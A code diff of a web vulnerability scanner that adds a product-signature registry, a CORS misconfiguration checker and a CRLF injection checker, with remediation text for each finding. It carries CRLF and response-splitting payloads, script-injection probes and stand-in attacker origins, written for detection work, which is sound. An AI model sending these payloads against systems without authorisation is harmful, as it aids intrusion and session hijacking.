 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ core/signatures.py — Product Content-Signature Registry
3
+ =========================================================
4
+ Maps probe paths / product names to required content markers.
5
+ A response must match at least ONE marker from must_contain to be reported as
6
+ a genuine product finding (as opposed to a 200-OK SPA catch-all).
7
+
8
+ Usage:
9
+ from scanners.core.signatures import matches_signature
10
+ if not matches_signature("jenkins", body, headers):
11
+ return # not really Jenkins
12
+ """
13
+
14
+ # Registry: key -> {"must_contain": [...], "must_contain_header": [...optional...]}
15
+ # must_contain: any ONE of these strings must appear in the response body (case-insensitive)
16
+ # must_contain_header: any ONE of these must appear in response headers (key:value prefix)
17
+ SIGNATURES: dict[str, dict] = {
18
+ # ── CI/CD ────────────────────────────────────────────────────────────
19
+ "jenkins": {
20
+ "must_contain": [
21
+ "Dashboard [Jenkins]",
22
+ "X-Jenkins",
23
+ "Jenkins</title>",
24
+ "jenkins.js",
25
+ "plugin/credentials",
26
+ ],
27
+ "must_contain_header": ["x-jenkins:"],
28
+ },
29
+ "gitlab": {
30
+ "must_contain": [
31
+ "GitLab",
32
+ "gitlab-rails",
33
+ "users/sign_in",
34
+ "gl-field-error",
35
+ ],
36
+ },
37
+ "sonarqube": {
38
+ "must_contain": [
39
+ "SonarQube",
40
+ "sonar-ws.js",
41
+ "sonar.js",
42
+ ],
43
+ },
44
+ # ── Monitoring / Observability ────────────────────────────────────────
45
+ "grafana": {
46
+ "must_contain": [
47
+ "grafana",
48
+ "GrafanaTheme",
49
+ "grafana-login",
50
+ "Grafana</title>",
51
+ ],
52
+ },
53
+ "kibana": {
54
+ "must_contain": [
55
+ "kibana",
56
+ "kbn-",
57
+ "Elastic",
58
+ ],
59
+ "must_contain_header": ["kbn-name:"],
60
+ },
61
+ "prometheus": {
62
+ "must_contain": [
63
+ "Prometheus",
64
+ "prometheus_",
65
+ "# HELP",
66
+ "# TYPE",
67
+ ],
68
+ },
69
+ # ── Databases ─────────────────────────────────────────────────────────
70
+ "phpmyadmin": {
71
+ "must_contain": [
72
+ "phpMyAdmin",
73
+ "pma_",
74
+ "phpmyadmin",
75
+ ],
76
+ },
77
+ "adminer": {
78
+ "must_contain": [
79
+ "Adminer",
80
+ "adminer",
81
+ "db_select",
82
+ ],
83
+ },
84
+ "elasticsearch": {
85
+ "must_contain": [
86
+ '"cluster_name"',
87
+ '"number_of_nodes"',
88
+ '"status"',
89
+ 'tagline',
90
+ ],
91
+ },
92
+ # ── Spring / Java ─────────────────────────────────────────────────────
93
+ "spring_actuator": {
94
+ "must_contain": [
95
+ '"status"',
96
+ '"components"',
97
+ '"diskSpace"',
98
+ '"ping"',
99
+ ],
100
+ },
101
+ "spring_actuator_env": {
102
+ "must_contain": [
103
+ '"activeProfiles"',
104
+ '"propertySources"',
105
+ '"systemProperties"',
106
+ ],
107
+ },
108
+ # ── PHP Tooling ───────────────────────────────────────────────────────
109
+ "phpinfo": {
110
+ "must_contain": [
111
+ "phpinfo()",
112
+ "PHP Version",
113
+ "php.ini",
114
+ "PHP Extension",
115
+ ],
116
+ },
117
+ # ── WordPress ─────────────────────────────────────────────────────────
118
+ "wp_login": {
119
+ "must_contain": [
120
+ "wp-submit",
121
+ "wp-login",
122
+ "WordPress",
123
+ "user_login",
124
+ ],
125
+ },
126
+ "wp_config": {
127
+ "must_contain": [
128
+ "DB_NAME",
129
+ "DB_PASSWORD",
130
+ "DB_HOST",
131
+ "define(",
132
+ ],
133
+ },
134
+ "wp_xmlrpc": {
135
+ "must_contain": [
136
+ "XML-RPC server accepts POST requests only",
137
+ "xmlrpc",
138
+ ],
139
+ },
140
+ # ── API Documentation ─────────────────────────────────────────────────
141
+ "swagger_ui": {
142
+ "must_contain": [
143
+ "swagger-ui",
144
+ "SwaggerUI",
145
+ "Swagger UI",
146
+ "api-docs",
147
+ ],
148
+ },
149
+ "openapi_spec": {
150
+ "must_contain": [
151
+ '"swagger"',
152
+ '"openapi"',
153
+ '"paths"',
154
+ ],
155
+ },
156
+ "redoc": {
157
+ "must_contain": [
158
+ "ReDoc",
159
+ "redoc",
160
+ ],
161
+ },
162
+ # ── Source Control ────────────────────────────────────────────────────
163
+ "git_head": {
164
+ "must_contain": [
165
+ "ref: refs/heads/",
166
+ ],
167
+ },
168
+ "git_config": {
169
+ "must_contain": [
170
+ "[core]",
171
+ "[remote",
172
+ "repositoryformatversion",
173
+ ],
174
+ },
175
+ "env_file": {
176
+ "must_contain": [
177
+ "=", # at least one KEY=VALUE line
178
+ ],
179
+ "_min_matches": 2, # require 2+ KEY=VALUE patterns (avoid single-line pages)
180
+ },
181
+ # ── Containers / Infra ────────────────────────────────────────────────
182
+ "portainer": {
183
+ "must_contain": [
184
+ "Portainer",
185
+ "portainer",
186
+ ],
187
+ },
188
+ "kubernetes_dashboard": {
189
+ "must_contain": [
190
+ "Kubernetes Dashboard",
191
+ "kube-dashboard",
192
+ ],
193
+ },
194
+ # ── Messaging ─────────────────────────────────────────────────────────
195
+ "rabbitmq": {
196
+ "must_contain": [
197
+ "RabbitMQ",
198
+ "rabbitmq",
199
+ ],
200
+ },
201
+ # ── Generic Admin ─────────────────────────────────────────────────────
202
+ "generic_admin_form": {
203
+ "must_contain": [
204
+ "<form",
205
+ "password",
206
+ ],
207
+ "_all_required": True, # ALL must_contain must be present
208
+ },
209
+ }
210
+
211
+
212
+ def matches_signature(
213
+ sig_key: str,
214
+ body: str,
215
+ headers: dict | None = None,
216
+ *,
217
+ log_fn=None,
218
+ url: str = "",
219
+ ) -> bool:
220
+ """
221
+ Return True if `body` (and optionally `headers`) satisfy the signature for `sig_key`.
222
+
223
+ Args:
224
+ sig_key: Key in SIGNATURES dict.
225
+ body: Response body text.
226
+ headers: Optional dict of response headers (lowercase keys preferred).
227
+ log_fn: Optional callable(msg) for debug logging of rejections.
228
+ url: URL being probed (for logging only).
229
+
230
+ Returns:
231
+ True → response contains the product signature → report it.
232
+ False → response does NOT match → suppress (log at DEBUG).
233
+ """
234
+ sig = SIGNATURES.get(sig_key)
235
+ if not sig:
236
+ # No signature defined for this key → pass through (don't suppress).
237
+ return True
238
+
239
+ body_lower = body.lower()
240
+ must_contain = sig.get("must_contain", [])
241
+ must_contain_header = sig.get("must_contain_header", [])
242
+ all_required = sig.get("_all_required", False)
243
+ min_matches = sig.get("_min_matches", 1)
244
+
245
+ # ── Header check ──────────────────────────────────────────────────────
246
+ if must_contain_header and headers:
247
+ hdrs_lower = {k.lower(): str(v).lower() for k, v in headers.items()}
248
+ for hdr_prefix in must_contain_header:
249
+ hdr_key = hdr_prefix.rstrip(":").lower()
250
+ if hdr_key in hdrs_lower:
251
+ return True # Header match is sufficient
252
+
253
+ # ── Body check ────────────────────────────────────────────────────────
254
+ if all_required:
255
+ matched = all(term.lower() in body_lower for term in must_contain)
256
+ else:
257
+ matched_count = sum(1 for term in must_contain if term.lower() in body_lower)
258
+ matched = matched_count >= min_matches
259
+
260
+ if not matched:
261
+ if log_fn:
262
+ log_fn(
263
+ f"[Signatures] SUPPRESSED {url!r}: 200 but no {sig_key!r} signature "
264
+ f"(checked {len(must_contain)} markers)"
265
+ )
266
+ return False
267
+
268
+ return True
backend/scanners/cors_scanner.py ADDED
@@ -0,0 +1,278 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ cors_scanner.py — Tests for CORS (Cross-Origin Resource Sharing) misconfigurations.
3
+ No external dependencies required.
4
+ """
5
+ import urllib.request
6
+ import urllib.error
7
+ import urllib.parse
8
+ from scanners.base_scanner import BaseScanner
9
+ from utils.callback import build_callback_url
10
+
11
+ TEST_ORIGINS = [
12
+ "https://evil.attacker.com",
13
+ "https://malicious-site.net",
14
+ "null",
15
+ ]
16
+
17
+ CALLBACK_ORIGIN = build_callback_url("/cors").replace("https://", "https://callback.").replace("http://", "http://callback.")
18
+
19
+
20
+ class CorsScanner(BaseScanner):
21
+ SCANNER_NAME = "CORS Misconfiguration Scanner"
22
+ _SCANNER_KEY = "cors"
23
+
24
+ def _make_ctx(self):
25
+ return self.get_ssl_context()
26
+
27
+ def run(self):
28
+ self.log("INFO", f"[CORS] Testing Cross-Origin Resource Sharing policy on {self.target}...")
29
+
30
+ for origin in TEST_ORIGINS:
31
+ self._test_origin(origin)
32
+
33
+ self._test_origin(CALLBACK_ORIGIN)
34
+ self._test_subdomain_trust()
35
+ self._test_preflight()
36
+ self._test_preflight_credentials()
37
+ self.log("INFO", f"[CORS] CORS analysis complete. {len(self.vulns)} issue(s) found.")
38
+ return self.vulns
39
+
40
+ def _test_origin(self, origin):
41
+ try:
42
+ headers = {
43
+ "User-Agent": "LarShield/2.0",
44
+ "Origin": origin,
45
+ }
46
+ if self.auth_headers:
47
+ headers.update(self.auth_headers)
48
+
49
+ req = urllib.request.Request(
50
+ self.target,
51
+ headers=headers,
52
+ )
53
+ with urllib.request.urlopen(req, timeout=8, context=self._make_ctx()) as resp:
54
+ headers = {k.lower(): v for k, v in resp.getheaders()}
55
+ acao = headers.get("access-control-allow-origin", "")
56
+ acac = headers.get("access-control-allow-credentials", "").lower()
57
+
58
+ if acao == "*":
59
+ self.log("WARNING", f"[CORS] Wildcard ACAO header: Access-Control-Allow-Origin: *")
60
+ if acac == "true":
61
+ self.log("CRITICAL", "[CORS] CRITICAL: Wildcard CORS + credentials=true!")
62
+ self.add_vuln(
63
+ title="Critical CORS: Wildcard Origin with Credentials Allowed",
64
+ severity="Critical", category="CORS", cvss_score=9.8,
65
+ description="The server responds with Access-Control-Allow-Origin: * AND Access-Control-Allow-Credentials: true. This combination is exploitable — any malicious website can make authenticated cross-origin requests on behalf of logged-in users, enabling account takeover and data theft.",
66
+ remediation="Never combine wildcard ACAO with credentials. Use explicit allowlisted origins:\n Access-Control-Allow-Origin: https://yourdomain.com\n Access-Control-Allow-Credentials: true",
67
+ evidence=f"Response headers: Access-Control-Allow-Origin: *, Access-Control-Allow-Credentials: true",
68
+ payload=f"Origin: {origin}",
69
+ request_details="GET with Origin header",
70
+ response_details=f"ACAO: *, ACAC: true",
71
+ confidence="Confirmed",
72
+ cwe_ids=["CWE-942"],
73
+ owasp_category="A01:2021 – Broken Access Control",
74
+ )
75
+ else:
76
+ self.add_vuln(
77
+ title="Overly Permissive CORS Policy (Wildcard Origin)",
78
+ severity="Medium", category="CORS", cvss_score=5.4,
79
+ description="The server allows cross-origin requests from any domain (Access-Control-Allow-Origin: *). This may expose public APIs to abuse from malicious websites.",
80
+ remediation="Restrict CORS to specific trusted origins:\n Access-Control-Allow-Origin: https://yourfrontenddomain.com\nUse environment-based origin allowlists.",
81
+ evidence=f"Response header: Access-Control-Allow-Origin: *",
82
+ payload=f"Origin: {origin}",
83
+ request_details="GET with Origin header",
84
+ response_details=f"ACAO: *",
85
+ confidence="Confirmed",
86
+ cwe_ids=["CWE-942"],
87
+ owasp_category="A01:2021 – Broken Access Control",
88
+ )
89
+
90
+ elif acao == origin and origin != "null":
91
+ self.log("WARNING", f"[CORS] Origin reflected back: {origin} -> ACAO: {acao}")
92
+ if acac == "true":
93
+ self.log("CRITICAL", f"[CORS] Arbitrary origin reflected with credentials=true!")
94
+ self.add_vuln(
95
+ title="CORS: Arbitrary Origin Reflected with Credentials",
96
+ severity="Critical", category="CORS", cvss_score=9.1,
97
+ description=f"The server reflected the attacker-controlled origin '{origin}' in the ACAO header AND allows credentials. This enables cross-origin authenticated requests from any malicious website — a classic CORS-based account takeover vector.",
98
+ remediation="Implement an explicit origin allowlist. Never reflect arbitrary origins:\n allowed = ['https://app.yourdomain.com']\n if request.headers.get('Origin') in allowed:\n response.headers['Access-Control-Allow-Origin'] = request.headers['Origin']",
99
+ evidence=f"Origin: {origin} -> ACAO: {acao}, ACAC: {acac}",
100
+ payload=f"Origin: {origin}",
101
+ request_details="GET with Origin header",
102
+ response_details=f"ACAO: {acao}, ACAC: {acac}",
103
+ confidence="Confirmed",
104
+ cwe_ids=["CWE-942"],
105
+ owasp_category="A01:2021 – Broken Access Control",
106
+ )
107
+ else:
108
+ self.add_vuln(
109
+ title="CORS: Arbitrary Origin Reflected Without Credentials",
110
+ severity="Medium", category="CORS", cvss_score=5.4,
111
+ description=f"The server reflected the arbitrary origin '{origin}'. While credentials are not allowed, this still permits cross-origin data theft of non-credentialed responses.",
112
+ remediation="Use a static allowlist of trusted origins rather than reflecting the request Origin header.",
113
+ evidence=f"Origin: {origin} -> ACAO: {acao}",
114
+ payload=f"Origin: {origin}",
115
+ request_details="GET with Origin header",
116
+ response_details=f"ACAO: {acao}",
117
+ confidence="Confirmed",
118
+ cwe_ids=["CWE-942"],
119
+ owasp_category="A01:2021 – Broken Access Control",
120
+ )
121
+
122
+ elif origin == "null" and acao == "null":
123
+ self.log("WARNING", "[CORS] null origin accepted! Sandboxed iframes can exploit this.")
124
+ self.add_vuln(
125
+ title="CORS: Null Origin Accepted",
126
+ severity="Medium", category="CORS", cvss_score=6.1,
127
+ description="The server accepts 'null' as a valid CORS origin. Sandboxed iframes or locally opened HTML files send Origin: null, which attackers can exploit to bypass CORS restrictions.",
128
+ remediation="Remove 'null' from any CORS origin allowlist. Only accept explicit https:// origins.",
129
+ evidence="Origin: null -> ACAO: null",
130
+ payload="Origin: null",
131
+ request_details="GET with Origin: null",
132
+ response_details="ACAO: null",
133
+ confidence="Confirmed",
134
+ cwe_ids=["CWE-942"],
135
+ owasp_category="A01:2021 – Broken Access Control",
136
+ )
137
+ else:
138
+ self.log("SUCCESS", f"[CORS] Origin '{origin}': Correctly rejected")
139
+
140
+ except urllib.error.HTTPError as e:
141
+ acao = e.headers.get("Access-Control-Allow-Origin", "")
142
+ if acao:
143
+ self.log("INFO", f"[CORS] HTTP {e.code} but ACAO header present: {acao}")
144
+ except Exception as e:
145
+ self.log("ERROR", f"[CORS] Request to {self.target} with origin '{origin}': {e}")
146
+
147
+ def _test_subdomain_trust(self):
148
+ try:
149
+ parsed = urllib.parse.urlparse(self.target)
150
+ domain = parsed.netloc
151
+ sub_origin = f"{parsed.scheme}://evil.{domain}"
152
+ headers = {
153
+ "User-Agent": "LarShield/2.0",
154
+ "Origin": sub_origin,
155
+ }
156
+ if self.auth_headers:
157
+ headers.update(self.auth_headers)
158
+
159
+ req = urllib.request.Request(
160
+ self.target,
161
+ headers=headers,
162
+ )
163
+ with urllib.request.urlopen(req, timeout=8, context=self._make_ctx()) as resp:
164
+ headers = {k.lower(): v for k, v in resp.getheaders()}
165
+ acao = headers.get("access-control-allow-origin", "")
166
+ acac = headers.get("access-control-allow-credentials", "").lower()
167
+
168
+ if acao == sub_origin:
169
+ self.log("WARNING", f"[CORS] Subdomain trust detected: {sub_origin} is allowed!")
170
+ self.add_vuln(
171
+ title="CORS: Subdomain Trust - Evil Subdomain Allowed",
172
+ severity="High", category="CORS", cvss_score=7.0,
173
+ description=f"The server trusts subdomains of its own origin. If any subdomain is compromised (e.g., via XSS or takeover), an attacker can make authenticated CORS requests.",
174
+ remediation="Explicitly list only the exact subdomains that need CORS access, or use a dedicated API domain.",
175
+ evidence=f"Origin: {sub_origin} -> ACAO: {acao}",
176
+ payload=f"Origin: {sub_origin}",
177
+ request_details="GET with subdomain Origin header",
178
+ response_details=f"ACAO: {acao}, ACAC: {acac}",
179
+ confidence="Confirmed",
180
+ cwe_ids=["CWE-942"],
181
+ owasp_category="A01:2021 – Broken Access Control",
182
+ )
183
+ else:
184
+ self.log("SUCCESS", f"[CORS] Subdomain '{sub_origin}': Correctly rejected")
185
+ except Exception as e:
186
+ self.log("ERROR", f"[CORS] Subdomain trust test error: {e}")
187
+
188
+ def _test_preflight(self):
189
+ try:
190
+ req = urllib.request.Request(
191
+ self.target,
192
+ method="OPTIONS",
193
+ headers={
194
+ "User-Agent": "LarShield/2.0",
195
+ "Origin": "https://evil.attacker.com",
196
+ "Access-Control-Request-Method": "DELETE",
197
+ "Access-Control-Request-Headers": "Authorization",
198
+ },
199
+ )
200
+ with urllib.request.urlopen(req, timeout=8, context=self._make_ctx()) as resp:
201
+ headers = {k.lower(): v for k, v in resp.getheaders()}
202
+ acam = headers.get("access-control-allow-methods", "")
203
+ acah = headers.get("access-control-allow-headers", "")
204
+ acao = headers.get("access-control-allow-origin", "")
205
+
206
+ if acao == "https://evil.attacker.com":
207
+ self.log("WARNING", "[CORS] Preflight reflects arbitrary origin!")
208
+ self.add_vuln(
209
+ title="CORS Preflight Origin Reflection",
210
+ severity="Medium", category="CORS", cvss_score=5.4,
211
+ description="The OPTIONS preflight response reflects the Origin header in Access-Control-Allow-Origin. This indicates a permissive CORS policy that trusts arbitrary origins.",
212
+ remediation="Do not reflect the Origin header in preflight responses. Use explicit allowlisted origins.",
213
+ evidence=f"Origin: https://evil.attacker.com -> ACAO: {acao}",
214
+ payload="Origin: https://evil.attacker.com",
215
+ request_details="OPTIONS with Origin: https://evil.attacker.com",
216
+ response_details=f"ACAO: {acao}, ACAM: {acam}",
217
+ confidence="Confirmed",
218
+ cwe_ids=["CWE-942"],
219
+ owasp_category="A01:2021 – Broken Access Control",
220
+ )
221
+
222
+ if "DELETE" in acam.upper() or "PUT" in acam.upper():
223
+ self.log("WARNING", f"[CORS] Preflight allows dangerous methods: {acam}")
224
+ self.add_vuln(
225
+ title="CORS Preflight Allows Dangerous HTTP Methods",
226
+ severity="Medium", category="CORS", cvss_score=5.4,
227
+ description=f"The CORS preflight response allows dangerous HTTP methods from cross-origin requests: {acam}. Combined with a weak origin policy, this enables destructive cross-origin operations.",
228
+ remediation="Restrict ACAM to only the methods your API actually requires:\n Access-Control-Allow-Methods: GET, POST\nNever include DELETE or PUT unless explicitly required cross-origin.",
229
+ evidence=f"ACAM: {acam}",
230
+ payload="Access-Control-Request-Method: DELETE",
231
+ request_details="OPTIONS with Access-Control-Request-Method: DELETE",
232
+ response_details=f"ACAM: {acam}, ACAH: {acah}",
233
+ confidence="High",
234
+ cwe_ids=["CWE-942"],
235
+ owasp_category="A01:2021 – Broken Access Control",
236
+ )
237
+ else:
238
+ self.log("SUCCESS", "[CORS] Preflight method policy: Appropriate")
239
+
240
+ if acah and "Authorization" in acah:
241
+ self.log("INFO", "[CORS] Preflight allows Authorization header")
242
+ except Exception as e:
243
+ self.log("ERROR", f"[CORS] Preflight check error: {e}")
244
+
245
+ def _test_preflight_credentials(self):
246
+ try:
247
+ req = urllib.request.Request(
248
+ self.target,
249
+ method="OPTIONS",
250
+ headers={
251
+ "User-Agent": "LarShield/2.0",
252
+ "Origin": "https://evil.attacker.com",
253
+ "Access-Control-Request-Method": "GET",
254
+ "Access-Control-Request-Headers": "Authorization",
255
+ },
256
+ )
257
+ with urllib.request.urlopen(req, timeout=8, context=self._make_ctx()) as resp:
258
+ headers = {k.lower(): v for k, v in resp.getheaders()}
259
+ acac = headers.get("access-control-allow-credentials", "").lower()
260
+ acao = headers.get("access-control-allow-origin", "")
261
+
262
+ if acac == "true" and acao == "https://evil.attacker.com":
263
+ self.log("CRITICAL", "[CORS] Preflight allows credentials with arbitrary origin!")
264
+ self.add_vuln(
265
+ title="CORS Preflight Allows Credentials with Arbitrary Origin",
266
+ severity="Critical", category="CORS", cvss_score=9.1,
267
+ description="The OPTIONS preflight response allows credentials AND reflects arbitrary origin. This enables authenticated cross-origin requests from any attacker-controlled domain.",
268
+ remediation="Only allow credentials with specific allowlisted origins. Never reflect arbitrary origins with credentials=true.",
269
+ evidence=f"ACAO: {acao}, ACAC: {acac}",
270
+ payload="Origin: https://evil.attacker.com",
271
+ request_details="OPTIONS with credentials check",
272
+ response_details=f"ACAO: {acao}, ACAC: {acac}",
273
+ confidence="Confirmed",
274
+ cwe_ids=["CWE-942"],
275
+ owasp_category="A01:2021 – Broken Access Control",
276
+ )
277
+ except Exception as e:
278
+ self.log("ERROR", f"[CORS] Preflight credentials test error: {e}")
backend/scanners/crlf_scanner.py ADDED
@@ -0,0 +1,162 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ crlf_scanner.py — CRLF Injection / HTTP Response Splitting
3
+ ============================================================
4
+ Expert-grade rewrite (GAP-007 fix):
5
+ 1. Path-based injection (original + new payloads)
6
+ 2. Query parameter injection
7
+ 3. Unicode/double-encoded CRLF bypass variants
8
+ 4. Cookie injection via Location header chain
9
+ 5. Response splitting (Set-Cookie + HTTP/1.1 200 OK injection)
10
+ 6. Redirect parameter injection (common real-world vector)
11
+ """
12
+ import urllib.parse
13
+ from scanners.base_scanner import BaseScanner
14
+
15
+ INJECT_HEADER = "Wss-Crlf-Test"
16
+ INJECT_VALUE = "wss-crlf-confirmed"
17
+
18
+ PATH_PAYLOADS = [
19
+ f"/%0d%0a{INJECT_HEADER}:{INJECT_VALUE}",
20
+ f"/%0a{INJECT_HEADER}:{INJECT_VALUE}",
21
+ f"/%0d%0aSet-Cookie:{INJECT_HEADER}={INJECT_VALUE}",
22
+ f"/%0d%0aContent-Length:0%0d%0aHTTP/1.1 200 OK%0d%0a{INJECT_HEADER}:{INJECT_VALUE}",
23
+ f"/%E5%98%8A%E5%98%8D{INJECT_HEADER}:{INJECT_VALUE}",
24
+ f"/%E5%98%8A{INJECT_HEADER}:{INJECT_VALUE}",
25
+ f"/%0d%0a{INJECT_HEADER}:{INJECT_VALUE}%0d%0aX-Extra:test", # double-encode variant
26
+ f"/%250d%250a{INJECT_HEADER}:{INJECT_VALUE}",
27
+ f"/%0d%0aX-CRLF-Test:%20{INJECT_VALUE}",
28
+ f"/%0a%0d{INJECT_HEADER}:{INJECT_VALUE}",
29
+ f"/%23%0a{INJECT_HEADER}:{INJECT_VALUE}",
30
+ f"/%0d%0a%0d%0a<script>alert(1)</script>",
31
+ ]
32
+
33
+ PARAM_PAYLOADS = [
34
+ f"%0d%0a{INJECT_HEADER}:{INJECT_VALUE}", # standard percent-encoded
35
+ f"%0a{INJECT_HEADER}:{INJECT_VALUE}", # LF only
36
+ f"%0d%0aSet-Cookie:{INJECT_HEADER}={INJECT_VALUE}", # cookie injection
37
+ f"%0d%0aSet-Cookie:session=injected;path=/", # session cookie injection
38
+ f"%0d%0a{INJECT_HEADER}:{INJECT_VALUE}%0d%0a%0d%0a<html><script>alert(1)</script></html>",
39
+ f"%250d%250a{INJECT_HEADER}:{INJECT_VALUE}", # double-encoded
40
+ ]
41
+
42
+ REDIRECT_PARAMS = [
43
+ "redirect", "redirect_url", "redirect_uri", "return", "return_url",
44
+ "returnto", "next", "url", "goto", "location", "dest", "destination",
45
+ ]
46
+
47
+
48
+ class CrlfScanner(BaseScanner):
49
+ SCANNER_NAME = "CRLF Injection Scanner"
50
+ _SCANNER_KEY = "crlf"
51
+
52
+ def __init__(self, scan_id, target, domain, **kwargs):
53
+ super().__init__(scan_id, target, domain, **kwargs)
54
+
55
+ def run(self) -> list:
56
+ self.log("INFO", f"[CRLF] Testing HTTP Response Splitting on {self.target}...")
57
+
58
+ self._test_path_injection()
59
+ if self.vulns:
60
+ return self.vulns
61
+
62
+ self._test_query_param_injection()
63
+ if self.vulns:
64
+ return self.vulns
65
+
66
+ self._test_redirect_params()
67
+
68
+ if not self.vulns:
69
+ self.log("SUCCESS", "[CRLF] No CRLF injection detected.")
70
+ return self.vulns
71
+
72
+ def _test_path_injection(self):
73
+ base = self.target.rstrip("/")
74
+ for payload in PATH_PAYLOADS:
75
+ test_url = base + payload
76
+ body, status, resp_headers = self._make_request(
77
+ test_url, return_response_obj=True
78
+ )
79
+ if resp_headers and self._header_injected(resp_headers):
80
+ self._report("URL path", payload, resp_headers)
81
+ return
82
+
83
+ def _test_query_param_injection(self):
84
+ parsed = urllib.parse.urlparse(self.target)
85
+ qs = urllib.parse.parse_qsl(parsed.query)
86
+ if not qs:
87
+ return
88
+ for k, v in qs:
89
+ for payload in PARAM_PAYLOADS:
90
+ test_qs = [(k_p, (v_p + payload if k_p == k else v_p)) for k_p, v_p in qs]
91
+ test_url = parsed._replace(query=urllib.parse.urlencode(test_qs)).geturl()
92
+ body, status, resp_headers = self._make_request(
93
+ test_url, return_response_obj=True
94
+ )
95
+ if resp_headers and self._header_injected(resp_headers):
96
+ self._report(f"Query param `{k}`", payload, resp_headers)
97
+ return
98
+
99
+ def _test_redirect_params(self):
100
+ parsed = urllib.parse.urlparse(self.target)
101
+ base = f"{parsed.scheme}://{parsed.netloc}{parsed.path}"
102
+ for param in REDIRECT_PARAMS:
103
+ for payload in PARAM_PAYLOADS[:3]:
104
+ test_url = f"{base}?{param}=https://example.com{urllib.parse.quote(payload)}"
105
+ body, status, resp_headers = self._make_request(
106
+ test_url, return_response_obj=True
107
+ )
108
+ if resp_headers and self._header_injected(resp_headers):
109
+ self._report(f"Redirect param `{param}`", payload, resp_headers)
110
+ return
111
+ if resp_headers:
112
+ loc = resp_headers.get("Location", "")
113
+ if INJECT_HEADER.lower() in loc.lower():
114
+ self._report(f"Redirect param `{param}` -> Location header", payload, resp_headers)
115
+ return
116
+
117
+ def _header_injected(self, headers) -> bool:
118
+ if headers.get(INJECT_HEADER):
119
+ return True
120
+ if headers.get("Set-Cookie") and INJECT_HEADER in (headers.get("Set-Cookie") or ""):
121
+ return True
122
+ return False
123
+
124
+ def _report(self, vector: str, payload: str, headers):
125
+ self.log("CRITICAL", f"[CRLF] Injection confirmed via {vector}!")
126
+ evidence_header = INJECT_HEADER
127
+ for k, v in headers.items():
128
+ if k.lower() == INJECT_HEADER.lower():
129
+ evidence_header = f"{k}: {v}"
130
+ break
131
+ self.add_vuln(
132
+ title="CRLF Injection / HTTP Response Splitting",
133
+ severity="High",
134
+ category="CRLF Injection",
135
+ cvss_score=7.4,
136
+ confidence="Confirmed",
137
+ references=[
138
+ "https://owasp.org/www-community/vulnerabilities/CRLF_Injection",
139
+ "https://cwe.mitre.org/data/definitions/113.html",
140
+ ],
141
+ description=(
142
+ f"CRLF injection confirmed via **{vector}**.\n\n"
143
+ f"**Payload:** `{payload}`\n\n"
144
+ f"By injecting `%0d%0a` (Carriage Return + Line Feed) sequences, an attacker can:\n"
145
+ "- Inject arbitrary HTTP response headers (`Set-Cookie`, `Location`)\n"
146
+ "- Perform HTTP Response Splitting to poison caches\n"
147
+ "- Conduct session fixation attacks via `Set-Cookie` injection\n"
148
+ "- Chain into XSS via injected `Content-Type: text/html`\n"
149
+ "- Bypass CSP by injecting a new `Content-Security-Policy` header"
150
+ ),
151
+ remediation=(
152
+ "1. URL-encode all user input before including it in HTTP headers or redirect URLs.\n"
153
+ "2. Reject or strip `\\r` and `\\n` characters from all user-supplied values.\n"
154
+ "3. Use web framework redirect functions (`redirect()`) instead of raw `Location:` header setting.\n"
155
+ "4. Implement a WAF rule blocking `%0d`, `%0a`, `\\r`, `\\n` in header values.\n"
156
+ "5. Set `Content-Security-Policy` and `X-Frame-Options` to limit XSS chaining."
157
+ ),
158
+ payload=payload,
159
+ evidence=f"Header `{evidence_header}` found in server response after injection via {vector}.",
160
+ request_details=f"Injection via {vector}",
161
+ response_details=f"Injected header found: {evidence_header}",
162
+ )
backend/scanners/csp_scanner.py ADDED
@@ -0,0 +1,280 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
